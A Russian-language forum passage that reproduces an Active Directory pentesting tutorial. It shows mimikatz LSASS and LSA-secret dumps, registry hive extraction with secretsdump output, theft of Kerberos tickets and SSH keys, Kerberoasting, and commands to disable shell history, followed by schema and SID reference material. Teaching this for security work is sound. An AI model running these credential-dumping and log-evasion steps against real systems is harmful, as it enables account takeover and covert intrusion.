Более того, SeDebugPrivilege должен быть включен в процессе, который пытается сделать дамп памяти LSASS. По умолчанию включен в Powershell и отключен в CMD (и, следовательно, в их дочерних процессах). Если вы запускаете mimikatz, вы можете включить его с помощью команды privet::debug. В другом случае вы можете запустить процесс с помощью Powershell, используя powershell.exe <command>, или с помощью какого-либо инструмента, такого как sepriv (https://github.com/Zer1t0/sepriv), чтобы включить его в CMD.

C:\>.\mimikatz.exe

.#####. mimikatz 2.2.0 (x64) #19041 Sep 18 2020 19:18:29
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # sekurlsa::logonpasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 629376 (00000000:00099a80)
Session : Interactive from 1
User Name : Administrator
Domain : CONTOSO
Logon Server : DC01
Logon Time : 03/05/2021 12:34:17
SID : S-1-5-21-1372086773-2238746523-2939299801-500
msv :
[00000003] Primary
* Username : Administrator
* Domain : CONTOSO
* NTLM : b73fdfe10e87b4ca5c0d957f81de6863
* SHA1 : 88cbc713492c32909ee5deddee08c7e31c70d716
* DPAPI : 0c1e1d360ebc8f790ff9577fcdb60d75
tspkg :
wdigest :
* Username : Administrator
* Domain : CONTOSO
* Password : (null)
kerberos :
* Username : Administrator
* Domain : CONTOSO.LOCAL
* Password : (null)
ssp :
credman :
cloudap :


Тем не менее, вы должны знать, что LSASS может быть защищен от извлечения учетных данных. Это может быть достигнуто с помощью Credential Guard (https://docs.microsoft.com/en-us/wi...redential-guard/credential-guard-how-it-works), который использует технологию гипервизора для хранения учетных данных в более безопасном месте за пределами операционной системы. Однако Credential Guard (https://teamhydra.blog/2020/08/25/bypassing-credential-guard/) можно обойти.

Кроме того, lsass.exe можно настроить для работы в качестве PPL (Protected Process Light). Даже если это усложняет извлечение учетных данных, его можно отключить (https://www.redcursor.com.au/blog/b...-process-light-without-mimikatz-on-windows-10).

Учетные данные реестра

Секреты ЛСА


Другим местом для поиска учетных данных является реестр. В реестре компьютер хранит некоторые учетные данные, необходимые для правильной работы. Одним из мест, где хранятся разумные учетные данные, являются секреты LSA. (https://passcape.com/index.php?section=docsys&cmd=details&id=23)

Секреты LSA — это специальное хранилище, расположенное в реестре, которое используется для хранения важных данных, доступных только для локальной учетной записи SYSTEM. На диске секреты LSA сохраняются в файле куста SECURITY (https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-hives), который зашифрован с помощью BootKey/SysKey (хранится в файле куста SYSTEM).

PS C:\> whoami
nt authority\system
PS C:\> reg query HKLM\SECURITY\Policy\Secrets

HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets
(Default) REG_NONE

HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\$MACHINE.ACC
HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DefaultPassword
HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM
HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\NL$KM
HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\_SC_mysql


В секретах LSA вы можете найти:

Учетная запись доменного компьютера

Для работы в составе домена компьютеру необходима учетная запись пользователя в домене. Поэтому имя пользователя и пароль этой учетной записи компьютера должны быть доступны для операционной системы, поэтому они хранятся в секретах LSA. Кроме того, вы должны знать, что пароль компьютера по умолчанию меняется каждые 30 дней (https://adsecurity.org/?p=280). Эта учетная запись компьютера используется локальной учетной записью SYSTEM для взаимодействия с доменом, но не локально, поэтому эта учетная запись не имеет прав администратора на машине. Однако, даже если учетная запись домена компьютера не имеет прав администратора, вы можете использовать ее для создания серебряного билета или выполнить атаку RBCD, чтобы получить доступ к машине в качестве администратора.

Пароли пользователей сервиса

Чтобы запускать службы от имени пользователя, компьютер должен хранить свой пароль. Однако хранится не пароль пользователя, а имя службы, поэтому вам может потребоваться выяснить, что такое имя пользователя.

Пароль для автоматического входа

Если автоматический вход в Windows включен (https://keithga.wordpress.com/2013/12/19/sysinternals-autologon-and-securely-encrypting-passwords/), пароль может храниться в секретах LSA. Другая альтернатива заключается в том, что он сохраняется в разделе реестра HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon под ключом DefaulUserName. Домен и имя пользователя всегда хранятся в DefaultDomainName и DefaultUserName соответственно.

Мастер-ключи DPAPI

API защиты данных (DPAPI) (https://docs.microsoft.com/en-us/dotnet/standard/security/how-to-use-data-protection) позволяет пользователям шифровать важные данные, не беспокоясь о криптографических ключах. Если вы можете получить мастер-ключи, вы можете расшифровать данные пользователей (https://book.hacktricks.xyz/windows/windows-local-privilege-escalation/dpapi-extracting-passwords).

Кроме того, в файле куста SECURITY также хранятся учетные данные последних пользователей домена (https://docs.microsoft.com/en-us/tr...les-and-logon/cached-domain-logon-information), вошедших в систему, известные как кэшированные учетные данные домена (DCC). Таким образом, компьютер может аутентифицировать пользователя домена, даже если связь с контроллерами домена потеряна. Эти кэшированные учетные данные представляют собой хэши MSCACHEV2/MSCASH, отличные от хэшей NT, поэтому их нельзя использовать для выполнения Pass-The-Hash, но вы все равно можете попытаться взломать их (https://www.ired.team/offensive-sec...and-cracking-mscash-cached-domain-credentials), чтобы получить пароль пользователя.

SAM

И еще одно место, где есть учетные данные, — это файл куста SAM (https://en.wikipedia.org/wiki/Security_Account_Manager) , который содержит NT-хэши локальных пользователей компьютера. Это может быть полезно, поскольку иногда организации устанавливают один и тот же пароль локального администратора на компьютерах домена.

Дамп учетных данных реестра

Чтобы получить учетные данные из кустов SECURITY и SAM, вы можете прочитать их из памяти с помощью mimikatz.

Сначала вам нужно будет выполнить token::elevate, чтобы получить сеанс SYSTEM, который позволит вам прочитать учетные данные. Также выполните привилегию ::debug, если это необходимо для включения SeDebugPrivilege.

Затем вы можете выполнить следующие команды, которые получат разные учетные данные:

- lsadump::secrets: Получить секреты LSA.
- lsadump::cache: Получить кэшированные входы в домен.
- lsadump::sam: Получить учетные данные локальной учетной записи.


Альтернативой является сохранение копии файлов улья с помощью команды reg save (https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/reg-save) , перемещение их на нашу машину и, наконец, получение содержимого с помощью сценария impacket secretsdump (https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py) или mimikatz.

Сначала вам нужно сделать дамп кустов реестра. Вам понадобятся файлы кустов SECURITY и SAM, а также куст SYSTEM, так как он содержит ключ загрузки системы (или системный ключ), который позволяет расшифровывать кусты SECURITY и SAM.

C:\>reg save HKLM\SYSTEM system.bin
The operation completed successfully.

C:\>reg save HKLM\SECURITY security.bin
The operation completed successfully.

C:\>reg save HKLM\SAM sam.bin
The operation completed successfully.


Как только ульи были сохранены, перейдите на локальный компьютер и сдампите их с помощью secretsdump:

$ secretsdump.py -system system.bin -security security.bin -sam sam.bin LOCAL
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[*] Target system bootKey: 0xb471eae0e93128b9c8d5780c19ac9f1d
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:6535b87abdb112a8fc3bf92528ac01f6:::
user:1001:aad3b435b51404eeaad3b435b51404ee:57d583aa46d571502aad4bb7aea09c70:::
[*] Dumping cached domain logon information (domain/username:hash)
CONTOSO.LOCAL/anakin:$DCC2$10240#anakin#2933cad9235d2f502d7bedc2016e6553
CONTOSO.LOCAL/han:$DCC2$10240#han#4a52a6d0d7f3590c68124f4d5f7ef285
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC:plain_password_hex:59aa6b91e74a0a6fc40efee9f2fb07936a9d69f46397dee82d3ec6ca4d0c01a0293d79e5c040bf564b7938d6c25597816921ec614ad25933af6a2482a8ace4d1dd54dd4bb465384b30046d85f65083e885455ec5f01dcae30df619e3f944eaa008a09e0f7432981f7cdb8dea34e432f00ed92e1ae3e48111326deb2d0f9a6e7d868e24c840b8814d338a4165f90381a4a6b824addb4f71c5908cac4423a4efbc5a4d846c09245930b526a6bec8c678ca838a005dcf5014f8b18426c3e0dbd3921f82c57e6ca025d0258d4536a9e0b68b90ff26c054c992c84d11e95f78c55ca411ee0e5b412cb4fc0f08c28ca2d79996
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:b13dae64def5f205f382a0ab4174eb85
[*] DefaultPassword
(Unknown User):user
[*] DPAPI_SYSTEM
dpapi_machinekey:0x6880eb76862df7875705885938102c696717eb18
dpapi_userkey:0x828326418633117212de44bcda10806fc6765d4a
[*] NL$KM
0000 0B BC 2E DB A1 A7 E2 42 56 6D B8 4B 5A 37 79 A4 .......BVm.KZ7y.
0010 53 51 75 6D 64 7F 9A BF DC BF C2 83 F4 64 02 A6 SQumd........d..
0020 5E E8 53 AB E5 4B 35 A4 5B 19 7E 97 E0 CA 32 6C ^.S..K5.[.~...2l
0030 77 68 E8 F1 C0 54 AD 7B 03 F7 BE 59 2E 59 C3 93 wh...T.{...Y.Y..
NL$KM:0bbc2edba1a7e242566db84b5a3779a45351756d647f9abfdcbfc283f46402a65ee853abe54b35a45b197e97e0ca326c7768e8f1c054ad7b03f7be592e59c393
[*] _SC_mysql
(Unknown User):Solo1234!
[*] Cleaning up...


Раздел Dumping cached domain logon information содержит Кэшированные учетные данные домена. Чтобы взломать их (https://www.ired.team/offensive-sec...and-cracking-mscash-cached-domain-credentials), вам нужно сохранить их в формате $DCC2$10240#username#hash, тогда вы можете использовать hashcat (https://hashcat.net/) .

Раздел $MACHINE.ACC содержит пароль учетной записи компьютера (в шестнадцатеричном формате), а также хэш NT.

Раздел DefaultPassword содержит пароль для автоматического входа. Чтобы получить домен и имя пользователя, вам необходимо проверить записи DefaultDomainName и DefaultUserName в разделе реестра HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon.

Раздел DPAPI_SYSTEM содержит главные ключи DPAPI системы. Эти ключи позволяют расшифровывать пользовательские файлы. (https://book.hacktricks.xyz/windows/windows-local-privilege-escalation/dpapi-extracting-passwords).

NK$LM дает нам ключ (https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/dumping-lsa-secrets-on-nt5-x64/), используемый для шифрования кэшированных учетных данных домена, но поскольку secretsdump уже расшифровывает их, он предназначен только для информационных целей.

Наконец, записи в формате _SC_<service> — это те, которые указывают пароль пользователей, запускающих службы. В данном случае служба mysql. Мы не знаем имя пользователя службы, но можем проверить его на компьютере.

PS C:\> Get-WmiObject win32_service -Filter "name='mysql'" | select -ExpandProperty startname
CONTOSO\han

История PowerShell


Помимо процесса и реестра LSASS, вы также можете искать учетные данные в других местах, таких как история пользователей Powershell. Вы можете использовать следующие команды, чтобы найти и прочитать историю Powershell.

(Get-PSReadlineOption).HistorySavePath

Кроме того, в качестве подсказки вы можете использовать следующую команду, чтобы не сохранять свои собственные команды в истории Powershell.

Set-PSReadlineOption -HistorySaveStyle SaveNothing

Другие места для поиска учетных данных в Windows


Кроме того, вы также можете искать учетные данные в сценариях или файлах конфигурации, расположенных на компьютере. Существует также много программного обеспечения, такого как браузеры, которые хранят учетные данные, которые могут быть полезны в пентесте. Чтобы увидеть хороший список программного обеспечения, которое хранит свои учетные данные, вы можете посетить проект LaZagne. (https://github.com/AlessandroZ/LaZagne)

В качестве альтернативы, в пентесте или вовлечении красной команды вы также можете использовать другие методы для получения учетных данных, такие как установленные кейлоггеры (https://www.tarlogic.com/en/blog/how-to-create-keylogger-in-powershell/) или поддельные модули SSP (https://adsecurity.org/?p=1760).

Linux-компьютеры

Обнаружение компьютеров Linux


Чтобы обнаружить компьютеры Linux в домене, вы также можете запросить базу данных домена, как и в случае с компьютерами Windows, используя LDAP, если у вас есть учетные данные домена.

В другом случае это может быть немного сложнее, поскольку на компьютерах с Linux по умолчанию не открыт какой-либо характерный порт, однако многие машины с Linux используются в качестве серверов, которыми можно управлять удаленно. Для администрирования компьютеров Linux обычно используется протокол SSH. Служба сервера SSH прослушивает порт 22, поэтому вы можете выполнить сканирование этого порта в сети, чтобы идентифицировать машины Linux.

Подключение к Linux-компьютерам

Чтобы подключиться к Linux-машине и получить на ней оболочку, наиболее распространенным вариантом является использование SSH. Иногда вы даже можете использовать удаленное взаимодействие Powershell, поскольку оно может работать через SSH.

$ ssh root@debian10
root@192.168.100.137's password:
Linux debian10 4.19.0-14-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri May 7 12:55:20 2021 from 192.168.100.137
root@debian10:~#


Помимо использования имени пользователя и пароля, вы можете подключиться с помощью ключа SSH, который вы можете получить с другого компьютера.

$ ssh -i id_ed25519_foo_key foo@db.contoso.local

Наконец, если целевой компьютер Linux является частью домена, вы можете использовать аутентификацию Kerberos (https://www.n00py.io/2020/12/alternative-ways-to-pass-the-hash-pth/) с SSH. Вы можете указать SSH-клиенту использовать аутентификацию Kerberos, включив аутентификацию GSSAPI (-o GSSAPIAuthentication=yes). Вы можете получить билет, украв его (Pass-The-Ticket) или запросив его с помощью хэша NT (Overpass-The-Hash) или ключа Kerberos (Pass-The-Key). Вы можете использовать Rubeus (https://github.com/GhostPack/Rubeus), cerbero (https://github.com/Zer1t0/cerbero) или impacket (https://github.com/SecureAuthCorp/impacket) для запроса билетов Kerberos с хэшем NT или ключами Kerberos.

Более того, на старых машинах с Linux Telnet (https://en.wikipedia.org/wiki/Telnet) может быть включен на порту 23. Для подключения к нему вам потребуется имя пользователя и пароль.

Учетные данные компьютеров Linux

К несчастью для злоумышленников, в Linux нет процесса lsass с кэшированными учетными данными. Но есть много мест, которые может быть интересно посмотреть…

Билеты Linux Kerberos

Для аутентификации пользователей машины Linux обычно имеют клиент Kerberos, настроенный с учетной записью компьютера домена. Учетные данные можно найти в таблице ключей, обычно в /etc/krb5.keytab, или в значении, указанном в переменных среды KRB5_KTNAME или KRB5_CLIENT_KTNAME, или в файле конфигурации Kerberos (https://web.mit.edu/kerberos/krb5-1.12/doc/admin/conf_files/krb5_conf.html) в /etc/krb5.conf. Вы можете отобразить его содержимое, включая ключи, с помощью команды klist или cerbero( https://github.com/Zer1t0/cerbero ).

$ klist -k -Ke
Keytab name: FILE:/etc/krb5.keytab
KVNO Principal
---- --------------------------------------------------------------------------
1 r2d2@contoso.local (DEPRECATED:arcfour-hmac) (0xc49a77fafad6d3a9270a8568fa453003)


В данном случае имеется настроенная учетная запись с хэшем NT (который используется в алгоритме RC4-HMAC Kerberos). Вы можете использовать сохраненные ключи, чтобы запросить билет Kerberos (https://www.tarlogic.com/en/blog/how-to-attack-kerberos/) и выдать себя за пользователя.

Кроме того, когда пользователь домена аутентифицируется на машине, извлекается билет Kerberos. Вы можете взять эти билеты и олицетворять пользователей в домене. Обычно билеты можно найти в каталоге /tmp в файлах формата krb5cc_%{uid}, где uid — это UID пользователя (https://linuxhandbook.com/uid-linux/). Однако также возможно, что билеты хранятся в ключах ядра Linux (https://man7.org/linux/man-pages/man7/keyrings.7.html), а не в файлах, но вы можете получить их и преобразовать в файлы с помощью tickey (https://github.com/TarlogicSecurity/tickey). Получив файлы билетов, вы можете использовать их для проведения атаки Pass the ticket.

$ ls /tmp/ | grep krb5cc
krb5cc_1000
krb5cc_1569901113
krb5cc_1569901115


Чтобы быть уверенным, где билеты хранятся на компьютере (https://web.mit.edu/kerberos/krb5-1.12/doc/basic/ccache_def.html) с Linux, вы можете проверить файл конфигурации Kerberos

(https://web.mit.edu/kerberos/krb5-1.12/doc/admin/conf_files/krb5_conf.html) в /etc/krb5.conf.

Пользовательские файлы Linux

Кроме того, вы можете получить учетные данные, хранящиеся в файле /etc/shadow, который содержит пароли локальных пользователей. Затем вы можете попытаться взломать их с помощью hashcat (https://techglimpse.com/cracking-linux-password-hashes-with-hashcat/) . Иногда пароли повторно используются на разных машинах. Однако вы не можете выполнить атаку Pass-The-Hash, поскольку для удаленной аутентификации на машине Linux, например, с использованием SSH, вам требуется пароль.

SSH-ключи

Другой возможностью является поиск закрытых ключей SSH, обычно хранящихся в каталоге .ssh каталога пользователей. Имя файла обычно id_rsa или id_ed25519.

$ file .ssh/id_ed25519
.ssh/id_ed25519: OpenSSH private key


Если закрытый ключ не требует парольной фразы для его использования, вы можете использовать его для подключения к другим машинам в домене.

$ ssh -i id_ed25519_foo_key foo@db.contoso.local

Кроме того, если вы можете найти файл known_hosts в каталоге .ssh, и вам повезет, он может показать вам имена хостов машин, подключенных через ssh с использованием закрытых ключей. Однако этот файл может содержать хешированные имена, но вы можете взломать их с помощью hashcat (https://github.com/chris408/known_hosts-hashcat). Чтобы создать список имен хостов, вы можете запросить имена хостов машин в домене.

История Bash


Кроме того, вы можете найти больше информации о ssh-соединениях и других вещах, таких как учетные данные, в истории команд пользователей компьютера, обычно расположенной в файле .bash_history в пользовательском каталоге.

Кстати, если вы хотите, чтобы ваши команды не регистрировались в истории, вы можете отключить переменную среды HISTFILE или использовать аналогичный метод (https://www.cyberciti.biz/faq/disable-bash-shell-history-linux/) .

unset HISTFILE

Другие места, где можно найти учетные данные в Linux


Точно так же вы можете найти пароли и ключи для подключения к различным службам (например, базам данных) и машинам в файлах конфигурации программного обеспечения или скриптов, расположенных на машине.

Кроме того, вы можете проверить проект LaZagne (https://github.com/AlessandroZ/LaZagne) на наличие дополнительных программ, которые могут быть подвержены краже учетных данных.

Services

В домене многие машины используются для предоставления услуг пользователям, поэтому Active Directory необходимо отслеживать эти службы, чтобы пользователи могли находить их и аутентифицироваться в них.

Служба Active Directory может быть сложной, поскольку это не то же самое, что компьютерная служба. Службу на компьютере с Windows или Linux можно понимать как фоновый процесс, который постоянно выполняет задачу, например базу данных. Однако нет необходимости, чтобы компьютерная служба прослушивала порт, как, например, служба, которая проверяет наличие доступных обновлений для системы.

С другой стороны, служба Active Directory — это идентификатор, указывающий, какие удаленные службы доступны или могут быть доступны (прослушивание порта) на машине. Не все удаленные службы зарегистрированы в базе данных домена, однако регистрация требуется для тех служб, которым необходимо аутентифицировать пользователей домена через Kerberos.

Каждая зарегистрированная служба в Active Directory предоставляет следующую информацию:

- Пользователь, который запускает компьютерную службу.
- Класс службы ( https://docs.microsoft.com/en-us/pr...003/cc772815(v=ws.10)#service-principal-names), который указывает, что это за услуга, например, веб-серверы зарегистрированы как класс www.

- Машина, на которой размещена служба. (Необязательно) Сервисный порт на машине. (Необязательно) Путь к службе.

Для хранения этой информации каждая служба идентифицируется именем (https://en.hackndo.com/service-principal-name-spn/) участника-службы (SPN), которое имеет следующий формат:

service_class/machine_name[:port][/path]

Machine_name может быть именем хоста или полным доменным именем (https://en.wikipedia.org/wiki/Fully_qualified_domain_name )(полное доменное имя: объединенные имя хоста и доменное имя). Это нормально, что оба формата сохраняются для совместимости с Kerberos. Например:

ldap/DC01
ldap/dc01.contoso.local


Имя участника-службы будет храниться в объекте пользователя (или компьютера), чтобы можно было идентифицировать пользователя службы.

PS C:\> Get-ADComputer ws01-10 -Properties ServicePrincipalName | select -ExpandProperty ServicePrincipalName
TERMSRV/WS01-10
TERMSRV/ws01-10.contoso.local
RestrictedKrbHost/ws01-10.contoso.local
HOST/ws01-10.contoso.local
RestrictedKrbHost/WS01-10
HOST/WS01-10


Также важно отметить, что даже если служба в данный момент не выполняется, она все равно может быть зарегистрирована в базе данных Active Directory. Это важно, потому что старые службы могут привести к захвату учетной записи с помощью Kerberoast (
).

Подводя итог по Kerberoast, вы можете запросить билет Kerberos для любой службы, зарегистрированной в домене. Билет Kerberos для службы будет иметь часть, зашифрованную секретом пользователя службы (который может быть хэшем NT или ключами Kerberos), полученным из пароля. Затем вы можете сохранить билет ( https://www.tarlogic.com/en/blog/how-to-attack-kerberos/) и попытаться взломать его, чтобы восстановить пароль пользователя. Для компьютерных служб это невозможно, поскольку пароль слишком сложный, но для пользовательских служб, у которых может быть слабый пароль, этого можно добиться.
 
Спасибо, помогло, тут много ценных знаний для новичка и все разжеванно.
Вопрос, где можно попрактиковаться с AD новичку?
На виртуалку поставь и практикуйся сколько влезет
 
Спасибо, помогло, тут много ценных знаний для новичка и все разжеванно.
Вопрос, где можно попрактиковаться с AD новичку?
Виртуал бокс поставь и на него Вин сервер 2008 а на другой вин 7, или Вин сервер 2012 и вин 8
 
Хост-сервис

Более того, поскольку по умолчанию системы Windows развертывают множество служб, на машинах по умолчанию регистрируется класс службы HOST (https://en.hackndo.com/service-principal-name-spn/#edge-case---host). Этот класс HOST является псевдонимом для нескольких служб.

PS C:\Users\Administrator> Get-ADObject -Identity "CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,$((Get-ADDomain).DistinguishedName)" -properties sPNMappings

DistinguishedName : CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=contoso,DC=local
Name : Directory Service
ObjectClass : nTDSService
ObjectGUID : 70502b18-010f-4d33-bbb9-ff85a88c6156
sPNMappings : {host=alerter,appmgmt,cisvc,clipsrv,browser,dhcp,dnscache,replicator,eventlog,eventsystem,policyage
nt,oakley,dmserver,dns,mcsvc,fax,msiserver,ias,messenger,netlogon,netman,netdde,netddedsm,nmagent,p
lugplay,protectedstorage,rasman,rpclocator,rpc,rpcss,remoteaccess,rsvp,samss,scardsvr,scesrv,seclog
on,scm,dcom,cifs,spooler,snmp,schedule,tapisrv,trksvr,trkwks,ups,time,wins,www,http,w3svc,iisadmin,
msdtc}

База данных


Мы говорили о базе данных домена и некоторых объектах, которые в ней хранятся, таких как пользователи, группы или службы. Давайте посмотрим теперь более подробно о базе данных.

Во-первых, физическое расположение базы данных — это файл C:\Windows\NTDS\ntds.dit, расположенный в контроллерах домена. Каждый контроллер домена имеет свой собственный файл NTDS, и для поддержания базы данных в актуальном состоянии требуется синхронизация между контроллерами домена.

Классы

Но давайте поговорим о структуре базы данных. База данных Active Directory имеет схему (https://docs.microsoft.com/en-us/pr.../it-pro/windows-server-2003/cc773309(v=ws.10)) , определяющую различные классы объектов https://docs.microsoft.com/en-us/windows/win32/adschema/classes). Каждый класс имеет разные свойства и служит для разных целей. Например, есть класс User (https://docs.microsoft.com/en-us/windows/win32/adschema/c-user), класс Computer (https://docs.microsoft.com/en-us/windows/win32/adschema/c-computer) или класс Group (https://docs.microsoft.com/en-us/windows/win32/adschema/c-group) .

Более того, класс может быть подклассом родительского класса, что позволяет наследовать свойства. Например, класс "Компьютер" является подклассом класса "Пользователь", поэтому объекты "Компьютер" могут иметь те же свойства объектов пользователя, например SAMAccountName, и некоторые новые настраиваемые свойства, например "Операционная система".

Все классы являются подклассами класса Top (https://docs.microsoft.com/en-us/windows/win32/adschema/c-top), который определяет основные свойства, такие как ObjectClass или ObjectGUID.

Свойство ObjectClass содержит список классов объекта, то есть его текущего класса и всех родительских классов.

С другой стороны, свойство ObjectGUID представляет собой GUID (https://en.wikipedia.org/wiki/Universally_unique_identifier ) (глобальный уникальный идентификатор) для идентификации каждого объекта базы данных. Его не следует путать со свойством SID (или SecurityIdentifier), которое представляет собой идентификатор, связанный с субъектами безопасности, такими как пользователи или группы.

Также важно отметить, что классы могут быть присоединены к вспомогательным классам, чтобы получить его свойства. Эти вспомогательные классы не будут отображаться в свойстве ObjectClass. Например, многие наиболее важные классы при проведении пентеста, такие как User и Group, присоединяются к вспомогательному классу Security-Principal (https://docs.microsoft.com/en-us/windows/win32/adschema/c-securityprincipal), классу, который определяет свойства SAMAccountName и SID.

PS C:\> . .\PowerView.ps1
PS C:\> Get-NetComputer dc01 -Properties objectclass | select -ExpandProperty objectclass
top
person
organizationalPerson
user
computer

Свойства


Как мы видели, каждый класс может иметь несколько свойств или атрибутов. Обычно свойства хранят строковое значение, например Name, или число, например UserAccountControl.

Как правило, любой пользователь домена может прочитать информацию о любом объекте домена, за некоторыми исключениями. Первое исключение — пароли пользователей, которые невозможно восстановить.

База данных определяет UserPassword (https://docs.microsoft.com/en-us/op.../ms-adts/f3adda9f-89e1-4340-a3f2-1f0a6249f1f8) и UnicodePwd (https://docs.microsoft.com/en-us/op.../ms-ada3/71e64720-be27-463f-9cc5-117f4bc849e1), но эти свойства нельзя прочитать, только записать. Когда требуется смена пароля (https://docs.microsoft.com/en-US/tr...change-windows-active-directory-user-password), эти свойства могут быть записаны для изменения пароля пользователя.

Более того, есть определенные свойства, которые содержат конфиденциальные данные (https://docs.microsoft.com/en-us/tr...ndows-security/mark-attribute-as-confidential), которые должны извлекаться только авторизованными пользователями. Для этого эти свойства помечаются в схеме как конфиденциальные свойства (установка флага 128 в SearchFlags (https://docs.microsoft.com/en-us/windows/win32/adschema/a-searchflags) определения свойства). Таким образом, чтобы прочитать конфиденциальное свойство, помимо прав на чтение, пользователю требуется право CONTROL_ACCESS на это конкретное свойство.

PS C:\Users\Administrator> Get-ADObject -LDAPFilter "(searchflags:1.2.840.113556.1.4.803:=128)" -SearchBase "CN=Schema,CN=Configuration,DC=contoso,DC=local" | Select Name

Name
----
ms-TPM-Owner-Information-Temp
ms-Kds-KDF-AlgorithmID
ms-Kds-KDF-Param
ms-Kds-SecretAgreement-AlgorithmID
ms-Kds-SecretAgreement-Param
ms-Kds-PublicKey-Length
ms-Kds-PrivateKey-Length
ms-Kds-RootKeyData
ms-Kds-Version
ms-Kds-DomainID
ms-Kds-UseStartTime
ms-Kds-CreateTime
ms-FVE-RecoveryPassword
ms-FVE-KeyPackage
ms-TPM-OwnerInformation
ms-DS-Transformation-Rules-Compiled
ms-PKI-Credential-Roaming-Tokens
ms-DS-Issuer-Certificates
ms-PKI-RoamingTimeStamp
ms-PKI-DPAPIMasterKeys
ms-PKI-AccountCredentials
UnixUserPassword


Кроме того, существуют определенные свойства, которые требуют соблюдения определенных условий перед записью. Это контролируется с помощью проверенных записей (https://docs.microsoft.com/en-us/windows/win32/adschema/validated-writes), например, услуги редактирования учетной записи.

Кроме того, для управления наборами связанных свойств для данных разрешений пользователю также можно использовать наборы свойств (https://docs.microsoft.com/en-us/windows/win32/adschema/property-sets) вместо того, чтобы управлять свойствами по отдельности.

Принципалы

Один термин, с которым вы должны быть знакомы, — это принципал (https://docs.microsoft.com/en-us/wi...protection/access-control/security-principals). В Active Directory принципал — это объект безопасности. Наиболее распространенными субъектами являются пользователи, группы и компьютеры. Эта терминология также используется в других областях, таких как Kerberos.

SID

Для идентификации принципалов каждому из них назначается SID (идентификатор безопасности). В Active Directory вы можете найти три вида SID.

SID домена используется для идентификации домена, а также в качестве основы для SID участников домена.

PS C:\> $(Get-ADDomain).DomainSID.Value
S-1-5-21-1372086773-2238746523-2939299801


Основной SID используется для идентификации принципалов. Он состоит из SID домена и основного RID (относительного идентификатора).

PS C:\> $(Get-ADUser Anakin).SID.Value
S-1-5-21-1372086773-2238746523-2939299801-1103


В этом примере вы можете видеть, что SID пользователя — это SID домена плюс RID 1103.

Наконец, в Active Directory есть много общеизвестных SID (https://docs.microsoft.com/en-us/tr...rver/identity/security-identifiers-in-windows), которые определяют абстрактные объекты для особых ситуаций. Вот наиболее распространенные из них:

*S-1-5-11 -> Авторизованные пользователи. Пользователи, вошедшие в систему, принадлежат к этой группе.

*S-1-5-10 -> Самопринципал. Используется в дескрипторах безопасности для ссылки на сам объект.

PS C:\> . .\PowerView.ps1
PS C:\> $(Get-DomainObjectAcl Anakin)[41]


ObjectDN : CN=Anakin,CN=Users,DC=contoso,DC=local
ObjectSID : S-1-5-21-1372086773-2238746523-2939299801-1103
ActiveDirectoryRights : WriteProperty
ObjectAceFlags : ObjectAceTypePresent, InheritedObjectAceTypePresent
ObjectAceType : ea1b7b93-5e48-46d5-bc6c-4df4fda78a35
InheritedObjectAceType : bf967a86-0de6-11d0-a285-00aa003049e2
BinaryLength : 56
AceQualifier : AccessAllowed
IsCallback : False
OpaqueLength : 0
AccessMask : 32
SecurityIdentifier : S-1-5-10
AceType : AccessAllowedObject
AceFlags : ContainerInherit, InheritOnly, Inherited
IsInherited : True
InheritanceFlags : ContainerInherit
PropagationFlags : InheritOnly
AuditFlags : None


Есть также некоторые общеизвестные SID, которые определяют схему для встроенных участников домена/леса. Например:

* Администратор -> S-1-5-21-домен-500
* Администраторы домена -> S-1-5-21-домен-512
* Пользователи домена -> S-1-5-21-домен-513
* Администраторы предприятия -> S-1-5-21-корневой домен-519

PS C:\> $(Get-ADUser Administrator).SID.Value
S-1-5-21-1372086773-2238746523-2939299801-500

Отличительные имена


Также важно понимать свойство DistinguishedName. Disting uishedName подобен пути, указывающему положение объекта в иерархии базы данных (аналогично пути к файлу).

PS C:\> Get-ADComputer dc01 | select -ExpandProperty DistinguishedName
CN=DC01,OU=Domain Controllers,DC=contoso,DC=local


Он часто используется для идентификации объектов в базе данных и для ссылки на другие объекты в базе данных. Например, на членов группы ссылаются по ее DistinguishedName.

PS C:\> Get-ADGroup "Domain Admins" -Properties member | select -ExpandProperty Member
CN=leia,CN=Users,DC=contoso,DC=local
CN=Administrator,CN=Users,DC=contoso,DC=local


